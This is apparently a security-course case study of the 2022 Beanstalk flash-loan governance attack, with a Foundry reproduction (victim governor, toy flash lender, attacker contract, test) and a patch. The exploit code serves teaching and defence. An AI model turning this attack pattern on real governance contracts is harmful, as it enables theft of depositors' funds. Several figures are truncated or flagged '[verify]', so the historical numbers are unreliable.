Case: Beanstalk Governance Attack (April 2022)

“The bug wasn’t in any line of business logic. The bug was in the protocol’s mental model of who ‘the voters’ were. Beanstalk’s governance asked ‘what is your Stalk balance right now?’ — and a flash loan answered, for one block, with a billion-dollar yes. From the contract’s point of view, the attacker was simply a very enthusiastic super-majority. From the auditor’s point of view, every voting-weight read that does not pass through a checkpoint is a critical-severity finding, full stop. Beanstalk is the case study that should make you reflexive about that check for the rest of your career.”

Tags: case-study governance flash-loan beanstalk stablecoin dao emergency-commit vulnerability Course position: Tuan-14-Governance-DAO-Security §3.4 (live-balance vs checkpointed voting), §5.5.5 (timelock-bypass via emergency execution path), §6.3 (flash-loan governance reproduction). Read those sections first; this case is the historical anchor. Related: Tuan-14-Governance-DAO-Security · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-09-Oracle-Manipulation-MEV · Case-The-DAO-Reentrancy-2016 · Case-Tornado-Cash-Governance-2023 · Case-Euler-Finance-2023


1. At a Glance

FieldValue
DateApril 17, 2022 (attack tx mined ~12:24 UTC) [verify exact UTC time against Etherscan]
ProtocolBeanstalk Farms — credit-based algorithmic stablecoin issuing BEAN, a USD-pegged token without exogenous collateral; built around a “Silo” deposit primitive and a “Field” lending primitive, governed by holders of Stalk (non-transferable governance token earned by depositing whitelisted assets in the Silo)
ChainEthereum mainnet (block 14602789) [verify exact block — commonly cited as 14602789 or 14595905 depending on source]
Loss~76–80M after flash-loan fee and slippage; the rest was lost to slippage and Curve trading frictions. [verify split; Immunefi post-mortem cites 182M user impact]
Donation transferThe attacker also routed 250k USDC and 50k USDC to the Ukraine relief wallet 0x165CD37b4C644C2921454429E7F9358d18A45e14 in the same exit batch — a publicity-stunt that became part of the case’s folklore. [verify amounts]
Attack classFlash-loan governance attack. Voting power read from live balance of the underlying asset (deposited Bean/3CRV-LP), not from a historical checkpoint. The attacker borrowed enough liquidity in one transaction to satisfy a 2/3 supermajority on a previously-submitted malicious proposal, then immediately committed and executed it through the emergencyCommit path.
Funds-at-risk totalThe entire Beanstalk Silo TVL — roughly $182M in BEAN, BEAN-3CRV LP, and BEAN-LUSD LP deposits. The attacker drained all assets the diamond’s LibTokenSilo-tracked deposits referenced.
Flash-loan providerAave V2 (the bulk of the leverage: 350M DAI, 500M USDC, 150M USDT) plus a smaller Uniswap V3 flash swap for additional WETH. [verify Aave / Uniswap split — Halborn post-mortem confirms Aave V2 as the primary flash-loan source]
Voting threshold abused2/3 supermajority of total Stalk required by emergencyCommit. Normal commit required only a simple majority after a longer Season-based delay; emergency path collapsed the post-vote delay to zero in exchange for a higher threshold.
Proposal delayBeanstalk Improvement Proposals (BIPs) submitted via propose were only eligible for emergencyCommit after 1 full day (“Sun” cycle equivalent). Attacker submitted BIP-18 (the malicious proposal) on April 16, 2022 at 12:24 UTC; called emergencyCommit exactly 24h + change later. [verify exact submission tx]
OutcomeProtocol drained to zero TVL. BEAN depegged from 0.06 within hours. Beanstalk relaunched ~3 months later (August 2022) with checkpointed governance and a fundraising round to seed liquidity, but never recovered its pre-attack TVL. [verify relaunch date — commonly cited as August 6, 2022]
Attacker identityPseudonymous; one of two contract addresses, 0x1c5dCdd006EA78a7E4783f9e6021C32935a10fb4 (the attack-orchestrator contract) and 0x79224bC0bf70EC34F0ef56ed8251619499a59dEf (the deployer EOA, funded via Tornado Cash). [verify addresses against Etherscan tags]
Lasting consequenceBeanstalk is now the textbook example in every governance-security checklist. The phrase “Beanstalk bug” is now industry shorthand for “voting weight read from live balance instead of a checkpointed snapshot.” It also shifted auditor focus from “is there a timelock?” to “what does the timelock actually delay, and is there any path that bypasses it?”

The whole bug in one line: emergencyCommit summed the live Stalk balance of every voter — and Stalk was a function of LibTokenSilo deposit balances — so a $1B Aave flash loan, converted to BEAN-3CRV LP and deposited into the Silo within a single transaction, was indistinguishable from a community supermajority.


2. Background

2.1 What Beanstalk was (and is, again)

Beanstalk is an algorithmic stablecoin protocol built on Ethereum mainnet. Launched in August 2021 by the pseudonymous team Publius, its design goal was to issue BEAN, a token pegged to $1, without exogenous collateral — i.e., without holding USDC or ETH reserves like MakerDAO does for DAI. Instead, the peg was maintained by an algorithmic credit-and-debt mechanism with three core primitives:

PrimitiveRole
Bean (BEAN)The stablecoin itself. Mintable and burnable by the protocol algorithmically.
SiloA deposit vault where users could deposit whitelisted assets (BEAN, BEAN-3CRV LP, BEAN-LUSD LP) in exchange for Stalk (governance weight) and Seeds (Stalk growth rate).
FieldA credit market where users could lend BEAN to the protocol in exchange for Pods (debt claims) at a variable interest rate — the “Temperature” — paid back in BEAN when the protocol minted new supply during peg-up cycles.

The protocol ran on “Seasons” — discrete 1-hour epochs during which Temperature, peg-correction minting, and other state updates occurred. Governance proposals were timed against Season counts rather than block numbers.

2.2 The governance model — Stalk, Seeds, and the Diamond

Beanstalk used the EIP-2535 Diamond pattern (multi-facet upgradeable proxy). The single Diamond contract at 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5 exposed dozens of facets including SiloFacet, FieldFacet, SeasonFacet, and critically GovernanceFacet. Each facet was an independent logic contract reachable via diamondCut-installed selectors. The facet that contained propose, vote, commit, and emergencyCommit was the focus of the attack.

Stalk was the governance token, with several properties that — in retrospect — combined into the vulnerability:

  1. Non-transferable. You could only acquire Stalk by depositing into the Silo. You could not buy Stalk on a DEX.
  2. Mintable on every deposit, burnable on every withdrawal. Stalk balance was a derived quantity: Stalk(user) = f(deposits(user, asset, season)) summed over all whitelisted assets. The Diamond computed it on-read.
  3. Read live, not checkpointed. The function balanceOfStalk(user) returned the user’s current Stalk — recomputed at the call’s block — with no historical record. There was no getPastVotes(user, blockNumber) analogue.
  4. Decoupled from propose-time state. Submitting a proposal did not snapshot the voter set. Anyone with a Stalk balance at commit time could vote, regardless of whether they held any stake at propose time.

The Diamond’s LibTokenSilo library held the per-asset deposit accounting; LibSilo held the Stalk derivation logic. The governance facet read from both.

2.3 The proposal lifecycle

Beanstalk’s governance flow had four states:

Propose → Voting → Eligible → (Committed | Failed)
PhaseMechanic
ProposeAny holder with > proposalThreshold Stalk could submit a Beanstalk Improvement Proposal (BIP) with arbitrary calldata to be executed against the Diamond. The proposal had a fixed pauseOrUnpauseAddress payload encoding what facets/cuts/initializers would be applied.
VotingStalk holders called vote(bipId). The vote did not lock or transfer Stalk; it simply registered the voter’s address. The voting weight was looked up at commit time, not at vote time. (This is the cousin-of-live-balance issue: even if voting were snapshotted, the weight assignment was not.)
Eligible / ActiveA BIP became eligible for emergencyCommit exactly 1 full Sun cycle (~24 hours / one full day) after submission. The normal commit path required additional Seasons and a simple majority; the emergencyCommit short-circuit required a 2/3 supermajority of total Stalk but no further delay.
Commit / Executecommit(bipId) or emergencyCommit(bipId) executed the proposal’s payload via the Diamond’s own diamondCut and executeBIP machinery — i.e., the proposal could install new facets, replace existing ones, and call arbitrary initializer logic in the same transaction.

The “1 day” delay was widely described in Beanstalk’s docs as a “timelock.” It was not. It was a proposal-eligibility delay, not an execution delay. After the 24-hour window passed, the next emergencyCommit call executed immediately, in the same transaction as the deciding vote.

2.4 Why it was high-profile

  • TVL trajectory: Beanstalk had grown from 182M by mid-April 2022 — a fast climb driven by yield-farming incentives on the Curve BEAN-3CRV pool.
  • Stablecoin narrative: 2022 was the peak of “algorithmic stablecoin” enthusiasm. Beanstalk was talked about as a more conservative cousin of Terra’s UST; the attack landed exactly five weeks before UST’s $50B implosion on May 9. The two events together effectively closed the chapter on uncollateralized stablecoins for the cycle.
  • Pseudonymous team: The Publius founders were anonymous, which fed both the early growth (crypto-native trust signaling) and the post-attack scrutiny (no team identity to anchor accountability).
  • Diamond architecture: Beanstalk was one of the highest-profile production deployments of EIP-2535 Diamonds. The attack involved using a malicious BIP to call diamondCut, install a new facet, and have that facet immediately drain liquidity — a worked example of the “Diamond upgrade is the timelock-bypass” pattern that auditors would later catalog generically (see Tuan-14-Governance-DAO-Security §5.5.1).

3. The Vulnerability

The bug was not in a single function. It was in the composition of three design choices, none of which was individually catastrophic but which together made flash-loan governance trivial.

3.1 Choice 1 — voting power = live balance of a derived quantity

The relevant function in the governance facet (paraphrased from the Beanstalk source as of the attack-time master branch; exact name was balanceOfStalk on the SiloFacet and was consumed by LibGovernance.canCommit):

// LibGovernance.sol — simplified attack-time semantics
function _canEmergencyCommit(uint32 bip) internal view returns (bool) {
    // Sum of Stalk of all voters who voted FOR this BIP — read LIVE.
    uint256 forStalk = 0;
    for (uint256 i = 0; i < voters[bip].length; i++) {
        address v = voters[bip][i];
        forStalk += C.bean().balanceOfStalk(v);  // ← LIVE balance, no snapshot
    }
    uint256 totalStalk = C.bean().totalStalk();   // ← LIVE total, no snapshot
 
    return forStalk * 3 >= totalStalk * 2;        // 2/3 supermajority
}

The numerator was the current Stalk of voters; the denominator was the current total Stalk supply. Both were recomputed at emergencyCommit time.

This is the exact pattern that ERC20Votes was designed to prevent. OpenZeppelin’s ERC20Votes.getPastVotes(account, blockNumber) looks up a binary-searched checkpoint written on every _update. Beanstalk’s Stalk had no such checkpoint mechanism — every read was a live recomputation from the LibTokenSilo deposit ledger.

Auditor’s red flag, in seven words: “voting weight is derived from current deposits.”

3.2 Choice 2 — voters did not need to hold Stalk at propose time

The vote(bip) function registered the caller’s address as a yes-voter on the BIP but did not require any minimum Stalk balance, nor did it snapshot the voter’s weight. The weight was looked up later, at commit time, against live state.

This is subtly worse than the getVotes()-vs-getPastVotes() issue alone. Even if Stalk balance had been a frozen ERC20 with no live derivation, allowing the weight assignment to happen at execution time still permits a “vote now, fund yourself later” attack pattern. Beanstalk had both problems.

// GovernanceFacet — simplified
function vote(uint32 bip) external {
    require(isActive(bip), "GovernanceFacet: BIP inactive");
    // No balance check, no snapshot. Just records the voter.
    voters[bip].push(msg.sender);
    s.g.voted[bip][msg.sender] = true;
}

3.3 Choice 3 — emergencyCommit short-circuited the post-vote delay

The “normal” commit path required:

  • ~7 days of vote-collection (Seasons).
  • Simple majority of total Stalk.

The emergencyCommit path required:

  • 1 day of eligibility delay (between propose and the earliest emergencyCommit call).
  • 2/3 supermajority of total Stalk.
  • No further delay after the supermajority was reached — execution was immediate.

The design intent was reasonable on paper: a 2/3 supermajority is hard to manufacture organically, so the protocol could safely skip the longer waiting period for genuinely emergency situations (e.g., bug fixes). The design failed because with flash-loaned voting power, manufacturing a 2/3 supermajority for one block was trivially cheap.

// GovernanceFacet — simplified
function emergencyCommit(uint32 bip) external {
    require(isActive(bip), "Governance: Ended.");
    require(C.elapsedTime(s.g.bips[bip].start) >= C.getGovernanceEmergencyPeriod(),
            "Governance: Too early.");           // ← 1 day eligibility
    require(LibGovernance._canEmergencyCommit(bip),
            "Governance: Must have super-majority."); // ← 2/3 of LIVE total Stalk
    LibGovernance._commit(bip);                  // ← executes payload immediately
}

C.getGovernanceEmergencyPeriod() returned 1 days (literally 60 * 60 * 24 seconds). That value is the entire “timelock.”

3.4 The compounded vulnerability

Put together:

An attacker who could (a) submit a proposal 24+ hours in advance, (b) acquire 2/3 of total Stalk for one transaction, and (c) call emergencyCommit from the same transaction, could execute arbitrary code against the Diamond — including diamondCut to install a new facet that drained the Silo to themselves.

The only friction was step (b). Stalk was non-transferable, so the attacker couldn’t simply buy 2/3 of supply on a DEX. But Stalk was derived from whitelisted Silo deposits, of which the largest pool by far was BEAN-3CRV LP. And LP tokens were acquirable, in bulk, for one block, via flash loans.

The arithmetic at the moment of attack (April 17, 2022 ~12:24 UTC):

  • Total Stalk in existence: ~78M units. [verify against Silo state at block 14602789]
  • Stalk attacker needed for 2/3 supermajority: ~52M units.
  • Stalk acquired by attacker via deposits: ~74M units (overshot to be safe).
  • Capital cost of acquiring that Stalk: ~$1B in stablecoin liquidity, flash-loaned from Aave V2 + Uniswap V3 for one block.
  • Flash-loan fees (Aave V2 at 0.09%): ~182M protocol was roughly 0.5% of the haul.

3.5 The trust assumption that failed

The Publius team’s implicit threat model was:

  1. “Stalk is non-transferable, so an attacker can’t acquire it by purchase.”
  2. “Acquiring Stalk requires depositing, and depositing requires real capital.”
  3. “Real capital large enough to outvote the Silo is too expensive to attack with.”

What they missed:

  1. Flash loans erase the cost of “having” capital for one block. The cost of 1B.
  2. Depositing and withdrawing happen in the same transaction. The attacker could deposit, vote/commit, and withdraw in atomic sequence. The protocol never saw an interval when the attacker did not hold a 2/3 supermajority — because there was no interval.
  3. Non-transferable ≠ non-acquirable. Stalk could not be transferred between addresses, but it could be minted to any address that performed a Silo deposit. The protocol conflated “non-transferable” with “expensive to bulk-acquire.” It is the second property that matters for governance security.

This is the precise generalization of The DAO’s lesson: a function-level review of vote, commit, and balanceOfStalk finds nothing dramatic in isolation. The composition of “votes are weighted by live deposit balances” + “deposits are bulk-acquirable atomically via flash loans” + “emergency execution has no post-vote delay” is the bug.


4. The Attack

4.1 Pre-attack staging (April 16, 2022)

~24 hours before the drain, the attacker submitted BIP-18 to the Beanstalk governance facet. The proposal’s surface-level description on Snapshot (“Save the Bees”) was an innocuous-looking grant payload. The actual on-chain calldata was different: a diamondCut that installed a new attacker-controlled facet whose initializer transferred Silo deposits to the attacker. [verify exact submission tx and Snapshot mirror]

The attacker also submitted BIP-19 at the same time — a decoy “Ukrainian aid” proposal that lent the operation cover. Investigators later cited the dual proposals as a misdirection tactic.

A key fact about Beanstalk’s governance UX at the time: the on-chain calldata of a BIP was not human-readable from the front-end. Users voting on the Snapshot poll saw the description but not the bytecode. The Beanstalk team did publish the calldata on their forum, but the publication lagged the on-chain submission, and the attack came before community auditors finished decoding it. [verify timeline of forum posts vs on-chain submission]

This is the same off-chain/on-chain payload disconnect that the Case-Tornado-Cash-Governance-2023 writeup explores — the malicious calldata is on-chain, the human-readable description is somewhere else, and the bridge between them is community vigilance.

4.2 The single attack transaction (April 17, 2022 ~12:24 UTC)

The drain happened in one Ethereum transaction, submitted by the contract at 0x1c5dCdd006EA78a7E4783f9e6021C32935a10fb4. Block 14602789 (or nearby — see [verify] note in §1). The call sequence:

attacker_contract.attack()
├── 1. Aave V2 flashLoan(DAI=350M, USDC=500M, USDT=150M)            [≈$1B liquidity]
│   └── executeOperation() — Aave hands control back to attacker
│       ├── 2. Uniswap V3 flashSwap(WETH)                            [more leverage]
│       ├── 3. Curve 3Pool — deposit DAI/USDC/USDT, mint 3CRV
│       ├── 4. Curve BEAN-3CRV pool — add liquidity (3CRV + small BEAN)
│       │       → receive ~795k BEAN-3CRV LP tokens
│       ├── 5. (Similar flow for BEAN-LUSD LP)                       [smaller leg]
│       ├── 6. Beanstalk.deposit(BEAN-3CRV-LP, ~795k)
│       │       → Diamond mints ~58M Stalk to attacker
│       │       → Diamond mints corresponding Seeds
│       ├── 7. Beanstalk.deposit(BEAN-LUSD-LP, ...)
│       │       → Diamond mints additional Stalk to attacker
│       ├── 8. Beanstalk.vote(bipId=18)
│       │       → Voter registered. No weight snapshot.
│       ├── 9. Beanstalk.emergencyCommit(bipId=18)
│       │       ├── _canEmergencyCommit reads LIVE Stalk balances
│       │       ├── Attacker holds ~74M of ~78M total Stalk → 95% supermajority
│       │       ├── _commit(bip) executes payload:
│       │       │   ├── diamondCut(installs InitBip18 facet)
│       │       │   └── InitBip18.init() transfers ALL Silo deposits
│       │       │       to attacker_contract
│       │       └── (Diamond is now drained of BEAN-3CRV LP,
│       │            BEAN-LUSD LP, raw BEAN)
│       ├── 10. Withdraw from Curve pools — convert LP back to
│       │       DAI/USDC/USDT/WETH
│       ├── 11. Repay Uniswap V3 flash swap (WETH + fee)
│       ├── 12. Donate 250k USDC to Ukraine relief
│       │       (0x165CD37b4C644C2921454429E7F9358d18A45e14)
│       └── 13. Repay Aave V2 flash loan (DAI/USDC/USDT + 0.09% fee)
└── (transaction returns; attacker_contract holds ~$76M net profit
     in stablecoins + WETH, after fees and slippage)

The attacker’s contract emerged from one transaction holding ~$76M of stablecoins and WETH. Beanstalk’s Silo emerged holding zero deposits.

4.3 What each step exploited

StepWhat it exploited
1, 2Public flash-loan markets had no whitelist; Aave V2 lent $1B+ to an EOA-deployed contract with no history. This is the canonical “DeFi composability is also DeFi attack-surface composability” lesson.
3, 4Curve pools accept liquidity from anyone; the resulting LP tokens are fungible and immediately usable as Beanstalk’s voting collateral.
6, 7Beanstalk.deposit(...) minted Stalk in the same transaction. There was no minimum-hold-time, no warmup period, no “your deposit needs N Seasons before it counts for governance.”
8vote(bip) accepted any caller. No balance check at vote time.
9emergencyCommit summed live Stalk; the attacker now held 95% of total Stalk for this single block. 95% ≥ 66.7%, so the supermajority check passed.
9 (cont.)_commit executed the BIP’s payload, which was a diamondCut plus an initializer that transferred Silo assets. The Diamond pattern’s defining feature — that a single privileged call (diamondCut) can rewrite the contract’s logic — became the drain primitive.
10, 11, 13The attacker converted the stolen LP back to stablecoins and repaid the flash loans, leaving Beanstalk with empty pools and the attacker with the residue.

4.4 What “emergencyCommit” meant in the attack

The function’s intent was to allow legitimate emergency fixes to skip the multi-Season waiting period. The function’s effect was to collapse the entire post-vote delay to zero. Once the attacker held 2/3 of live Stalk, there was no clock left to run, no community alarm window, no chance for a counter-vote, no possibility of pause-guardian intervention. The “1 day” delay had already elapsed (it was a delay between propose and first eligibility for emergencyCommit, not between vote and execution).

Compare to OZ Governor + Timelock with a 48-hour delay: even if the attacker had won the vote, the malicious proposal would sit in the timelock queue for two days, during which a CANCELLER_ROLE holder (typically an emergency multisig) could cancel(operationId) and stop execution. Beanstalk had no such intermediary; the vote was the execution.

4.5 The drain in numbers

  • Attacker’s deposit into Silo: ~795k BEAN-3CRV LP + smaller BEAN-LUSD LP. [verify precise quantities]
  • Stalk minted to attacker: ~74M units, on a pre-attack total Stalk supply of ~78M (so the attacker held ~95% of total Stalk post-deposit; far above the 66.7% threshold). [verify against on-chain reads at block 14602789]
  • Time the attacker held 2/3 supermajority: exactly one block — the attack block 14602789.
  • Cost to attacker: ~80k–1M. [verify]
  • Attacker net profit: ~$76M.
  • User loss: ~$182M (the full Silo TVL).
  • Implied attack-cost-to-protocol-loss ratio: roughly 1:200 — for every 200 from the protocol.

5. Reproduction in Foundry

We’ll build a stripped-down Governor that demonstrates the bug pattern: voting weight read from live balance. We’re not reproducing the Diamond; we’re reproducing the “live balance → supermajority → execute” loop.

5.1 Victim contract — a Governor with live-balance voting

// src/MiniBeanstalk.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
/// @title MiniBeanstalk — a model Governor reading voting weight from live balance.
/// @notice DO NOT DEPLOY. Educational reproduction of the Beanstalk April 2022 attack.
contract MiniBeanstalk {
    // Voting "asset" — anyone can deposit ETH for vote weight, in this toy model.
    mapping(address => uint256) public deposits;
    uint256 public totalDeposits;
    uint256 public treasuryBalance;       // simulates Silo TVL the proposal can drain
 
    struct Proposal {
        uint64 createdAt;
        address target;                   // who receives the drained funds
        bool executed;
        // We do NOT snapshot voter weights. We track voters and read weight live.
        address[] forVoters;
        mapping(address => bool) hasVoted;
    }
 
    mapping(uint256 => Proposal) internal proposals;
    uint256 public nextProposalId;
 
    uint64 public constant EMERGENCY_DELAY = 1 days;    // mirrors Beanstalk's 1-day eligibility
    uint256 public constant SUPERMAJORITY_NUM = 2;
    uint256 public constant SUPERMAJORITY_DEN = 3;
 
    function deposit() external payable {
        deposits[msg.sender] += msg.value;
        totalDeposits += msg.value;
        treasuryBalance += msg.value;
    }
 
    function withdraw(uint256 amount) external {
        require(deposits[msg.sender] >= amount, "no deposit");
        deposits[msg.sender] -= amount;
        totalDeposits -= amount;
        treasuryBalance -= amount;
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }
 
    /// @dev Anyone can propose. Payload = "drain treasury to `target`".
    function propose(address target) external returns (uint256 id) {
        id = nextProposalId++;
        Proposal storage p = proposals[id];
        p.createdAt = uint64(block.timestamp);
        p.target = target;
    }
 
    /// @dev No balance check, no snapshot. Just records the voter.
    function vote(uint256 id) external {
        Proposal storage p = proposals[id];
        require(p.createdAt != 0, "no proposal");
        require(!p.hasVoted[msg.sender], "already voted");
        p.hasVoted[msg.sender] = true;
        p.forVoters.push(msg.sender);
    }
 
    /// @dev The Beanstalk bug: weight summed from LIVE deposits at execution time.
    function emergencyCommit(uint256 id) external {
        Proposal storage p = proposals[id];
        require(p.createdAt != 0, "no proposal");
        require(!p.executed, "already executed");
        require(block.timestamp >= p.createdAt + EMERGENCY_DELAY, "too early");
 
        uint256 forWeight = 0;
        for (uint256 i = 0; i < p.forVoters.length; i++) {
            forWeight += deposits[p.forVoters[i]];     // ← LIVE balance read
        }
        // 2/3 supermajority against LIVE total
        require(
            forWeight * SUPERMAJORITY_DEN >= totalDeposits * SUPERMAJORITY_NUM,
            "no supermajority"
        );
 
        p.executed = true;
 
        // The malicious payload: drain treasury to `target`
        uint256 amount = treasuryBalance;
        treasuryBalance = 0;
        (bool ok, ) = p.target.call{value: amount}("");
        require(ok, "drain failed");
    }
 
    receive() external payable {}
}

5.2 Flash-loan provider — a toy Aave

// test/FlashLoanLender.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
interface IFlashBorrower {
    function executeOperation(uint256 amount) external;
}
 
contract FlashLoanLender {
    uint256 public constant FEE_BPS = 9;            // 0.09% — Aave V2 fee
    uint256 public constant BPS_DEN = 10_000;
 
    function flashLoan(address borrower, uint256 amount) external {
        require(address(this).balance >= amount, "insufficient liquidity");
        uint256 balBefore = address(this).balance;
        uint256 fee = (amount * FEE_BPS) / BPS_DEN;
 
        (bool ok1, ) = borrower.call{value: amount}("");
        require(ok1, "send to borrower failed");
 
        IFlashBorrower(borrower).executeOperation(amount);
 
        require(address(this).balance >= balBefore + fee, "loan not repaid");
    }
 
    receive() external payable {}
}

5.3 Attacker contract

// test/BeanstalkAttacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "../src/MiniBeanstalk.sol";
import "./FlashLoanLender.sol";
 
contract BeanstalkAttacker is IFlashBorrower {
    MiniBeanstalk public dao;
    FlashLoanLender public lender;
    uint256 public proposalId;
 
    constructor(MiniBeanstalk _dao, FlashLoanLender _lender) {
        dao = _dao;
        lender = _lender;
    }
 
    /// @notice Stage 1 — submit malicious proposal (24h+ before drain)
    function submitProposal() external {
        proposalId = dao.propose(address(this));
    }
 
    /// @notice Stage 2 — atomic drain via flash loan + vote + emergencyCommit
    function drain(uint256 loanAmount) external {
        lender.flashLoan(address(this), loanAmount);
    }
 
    /// @dev Called by FlashLoanLender mid-loan with the borrowed ETH in hand.
    function executeOperation(uint256 amount) external override {
        require(msg.sender == address(lender), "only lender");
 
        // Deposit borrowed ETH into Beanstalk to mint massive "voting weight"
        dao.deposit{value: amount}();
 
        // Cast vote — no balance check, just registers our address
        dao.vote(proposalId);
 
        // Execute via emergencyCommit — supermajority reads LIVE balance
        dao.emergencyCommit(proposalId);
 
        // Withdraw our deposit (the proposal drained the rest of the treasury
        // to us via `target = address(this)`)
        dao.withdraw(amount);
 
        // Repay flash loan + fee
        uint256 fee = (amount * lender.FEE_BPS()) / lender.BPS_DEN();
        (bool ok, ) = address(lender).call{value: amount + fee}("");
        require(ok, "repay failed");
    }
 
    function loot() external {
        (bool ok, ) = msg.sender.call{value: address(this).balance}("");
        require(ok);
    }
 
    receive() external payable {}
}

5.4 Foundry test — full attack reproduction

// test/MiniBeanstalk.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import "../src/MiniBeanstalk.sol";
import "./FlashLoanLender.sol";
import "./BeanstalkAttacker.sol";
 
contract BeanstalkAttackTest is Test {
    MiniBeanstalk dao;
    FlashLoanLender lender;
    BeanstalkAttacker attacker;
 
    function setUp() public {
        dao = new MiniBeanstalk();
        lender = new FlashLoanLender();
        attacker = new BeanstalkAttacker(dao, lender);
 
        // Fund the lender with 1000 ETH (the flash-loan pool)
        vm.deal(address(lender), 1000 ether);
 
        // 10 innocent depositors, 5 ETH each = 50 ETH in the DAO treasury
        for (uint256 i = 1; i <= 10; i++) {
            address user = address(uint160(0x1000 + i));
            vm.deal(user, 5 ether);
            vm.prank(user);
            dao.deposit{value: 5 ether}();
        }
 
        // Pre-fund attacker with gas; they don't deposit any genuine capital
        vm.deal(address(attacker), 1 ether);
    }
 
    function test_drainViaFlashLoanGovernance() public {
        emit log_named_uint("Treasury BEFORE", dao.treasuryBalance());
        emit log_named_uint("Total deposits BEFORE", dao.totalDeposits());
 
        // Stage 1: attacker submits malicious BIP (24h+ before drain)
        attacker.submitProposal();
 
        // Stage 2: 24 hours pass — proposal becomes eligible for emergencyCommit
        vm.warp(block.timestamp + 1 days + 1);
 
        // Stage 3: atomic drain — flash loan 500 ETH (10x treasury size)
        //          500 ETH deposit ≈ 91% of post-deposit total, ≫ 2/3 threshold
        attacker.drain(500 ether);
 
        emit log_named_uint("Treasury AFTER", dao.treasuryBalance());
        emit log_named_uint("Attacker net profit (ETH)", address(attacker).balance);
 
        assertEq(dao.treasuryBalance(), 0, "treasury should be drained");
        assertGt(
            address(attacker).balance,
            1 ether,            // initial gas funding
            "attacker should net the innocent depositors' funds"
        );
    }
}

Run:

forge test --match-test test_drainViaFlashLoanGovernance -vvv

5.5 Expected output

Treasury BEFORE: 50000000000000000000          // 50 ETH from innocent depositors
Total deposits BEFORE: 50000000000000000000    // 50 ETH

[After attack]
Treasury AFTER: 0                              // fully drained
Attacker net profit (ETH): ~50.55 ether        // ~50 ETH stolen, minus flash-loan
                                               // fee (0.45 ETH on 500-ETH loan)
                                               // plus the initial 1 ETH gas funding

The flash-loan fee on 500 ETH at 0.09% is 0.45 ETH. The attacker pays this out of the 50 ETH they drain, netting ~49.55 ETH of profit on top of their initial 1 ETH gas funding. The 50 ETH that innocent depositors put into the Silo is now in the attacker’s contract. The protocol shows zero TVL.

5.6 Patch — checkpointed voting power + execution delay

Two complementary changes:

Change 1 — checkpoint deposit balances at propose-time.

// In MiniBeanstalk
struct Proposal {
    uint64 createdAt;
    uint64 snapshotBlock;                          // ← NEW
    address target;
    bool executed;
    address[] forVoters;
    mapping(address => bool) hasVoted;
    mapping(address => uint256) snapshotWeight;    // ← NEW per-voter snapshot
    uint256 snapshotTotalDeposits;                 // ← NEW
}
 
function propose(address target) external returns (uint256 id) {
    id = nextProposalId++;
    Proposal storage p = proposals[id];
    p.createdAt = uint64(block.timestamp);
    p.snapshotBlock = uint64(block.number);
    p.snapshotTotalDeposits = totalDeposits;       // ← captured ONCE at propose
    p.target = target;
}
 
function vote(uint256 id) external {
    Proposal storage p = proposals[id];
    require(p.createdAt != 0, "no proposal");
    require(!p.hasVoted[msg.sender], "already voted");
    require(block.number > p.snapshotBlock, "vote in later block");
    p.hasVoted[msg.sender] = true;
    p.forVoters.push(msg.sender);
    // Snapshot the voter's deposit AS OF propose-block. In a real impl,
    // this is `ERC20Votes.getPastVotes(msg.sender, snapshotBlock)`.
    p.snapshotWeight[msg.sender] = deposits[msg.sender];
    // ^ Simplification — for a true past-block lookup you'd need
    // checkpointed deposit history (per OZ ERC20Votes pattern).
}
 
function emergencyCommit(uint256 id) external {
    Proposal storage p = proposals[id];
    require(!p.executed, "already executed");
    require(block.timestamp >= p.createdAt + EMERGENCY_DELAY, "too early");
 
    uint256 forWeight = 0;
    for (uint256 i = 0; i < p.forVoters.length; i++) {
        forWeight += p.snapshotWeight[p.forVoters[i]];   // ← snapshot, not live
    }
    require(
        forWeight * SUPERMAJORITY_DEN >= p.snapshotTotalDeposits * SUPERMAJORITY_NUM,
        "no supermajority"
    );
 
    p.executed = true;
    // ... drain logic ...
}

Change 2 — add a real execution timelock between vote completion and execution.

// Beanstalk's 1-day "emergency delay" was BEFORE the vote, not AFTER.
// Add an execution delay AFTER the supermajority is reached:
 
function emergencyCommit(uint256 id) external {
    // ... supermajority check above succeeds ...
 
    p.executed = true;
    p.executableAt = uint64(block.timestamp + EXECUTION_DELAY);  // ← e.g. 24h
    // Execution moves to a separate `execute()` call after the delay:
}
 
function execute(uint256 id) external {
    Proposal storage p = proposals[id];
    require(p.executed, "not committed");
    require(block.timestamp >= p.executableAt, "still in delay");
    // ... drain logic ...
}

Re-run the test against the patched contract: the attack should fail at the forWeight * 3 >= totalDeposits * 2 check, because the attacker’s snapshotWeight at propose-time was zero — they had not yet deposited. Even if they had pre-deposited, the post-vote execution delay gives watchers time to cancel via a guardian role.

5.7 Stretch lab — propose-time defense alone is insufficient

Modify the patch to keep the snapshot mechanism but remove the post-vote execution delay. Show that an attacker who has the patience to pre-deposit honestly for one block before propose (so their snapshot weight is non-zero), then flash-loans more capital between propose and emergencyCommit blocks, can still dominate if the post-vote delay is zero — because re-entering the vote isn’t necessary if the propose-time snapshot was already adversarially seeded.

The lesson: snapshot defense and execution-delay defense are independent. You need both.


6. Aftermath

6.1 The hours after the drain

The attack landed at ~12:24 UTC on April 17. Within minutes:

  • The BEAN price collapsed from 0.06 on Curve as arbitrageurs realized the protocol’s reserves were gone.
  • Beanstalk’s front-end posted an emergency notice. Publius opened an emergency Discord call.
  • Crypto-Twitter discovered the malicious BIP-18 calldata and reverse-engineered the attack in roughly 3 hours.
  • The attacker’s contract sat with ~$76M of stablecoins and routed 250k USDC to the Ukraine relief wallet, then moved the remaining stablecoins through Tornado Cash over the following 24 hours.

There was no kill switch, no pause guardian, no admin function. Beanstalk’s design had committed to “code is law” — there was no off-chain authority to invoke. The drain was final.

6.2 The fundraising round and relaunch

In May–July 2022, Publius ran an off-chain fundraising round called “Barn Raise” that raised ~$77M from prominent DeFi investors and community members in exchange for Fertilizer (a debt-claim token entitling holders to a share of future BEAN minting until the debt was repaid). This effectively functioned as a community-backed recapitalization.

Beanstalk relaunched on August 6, 2022 [verify exact date] with a new BIP-21 governance refactor that included:

